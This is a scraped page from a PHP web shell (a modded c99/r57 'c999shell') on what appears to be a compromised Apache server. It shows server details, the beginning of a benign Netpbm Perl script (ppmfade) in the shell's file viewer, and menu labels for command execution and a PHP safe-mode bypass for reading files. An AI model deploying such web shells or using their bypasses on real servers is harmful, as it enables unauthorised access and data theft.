Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: ppmfade (11.27 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #!/usr/bin/perl -w #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- # # This program creates a fade (a sequence of frames) between two images. # # By Bryan Henderson, Olympia WA; March 2000 # # Contributed to the public domain by its author. # # Inspired by the program Pbmfade by Wesley C. Barris of AHPCRC, # Minnesota Supercomputer Center, Inc. January 7, 1994. Pbmfade does # much the same thing, but handles non-Netpbm formats too, and is # implemented in a more primitive language. # #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- use strict; use File::Temp "tempdir"; my $SPREAD = 1; my $SHIFT = 2; my $RELIEF = 3; my $OIL = 4; my $EDGE = 5; my $BENTLEY = 6; my $BLOCK = 7; my $MIX = 8; # # Set some defaults. # my $nframes = 30; # total number of files created (1 sec) my $first_file = "undefined"; my $last_file = "undefined"; my $base_name = "fade"; # default base name of output files my $image = "ppm"; # default output storage format my $mode = $SPREAD; # default fading mode # # Check those command line args. # sub usage(); if (@ARGV == 0) { usage(); } my $n; # argument number for ($n = 0; $n < @ARGV; $n++) { if ("$ARGV[$n]" eq "-f") { $n++; $first_file = $ARGV[$n]; if (-e $first_file) { } else { print "I can't find $first_file\n"; exit 20; } } elsif ($ARGV[$n] eq "-l") { $n++; $last_file = $ARGV[$n]; if (-e $last_file) { } else { print "I can't find $last_file\n"; exit 20; } } elsif ($ARGV[$n] eq "-base") { $n++; $base_name = $ARGV[$n]; } elsif ($ARGV[$n] eq "-spread") { $mode = $SPREAD; } elsif ($ARGV[$n] eq "-shift") { $mode = $SHIFT; } elsif ($ARGV[$n] eq "-relief") { $mode = $RELIEF; } elsif ($ARGV[$n] eq "-oil") { $mode = $OIL; } elsif ("$ARGV[$n]" eq "-edge") { $mode = $EDGE; } elsif ("$ARGV[$n]" eq "-bentley") { $mode = $BENTLEY; } elsif ("$ARGV[$n]" eq "-block") { $mode = $BLOCK; } elsif ("$ARGV[$n]" eq "-mix") { $mode = $MIX; } elsif ($ARGV[$n] eq "-help" |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]-- |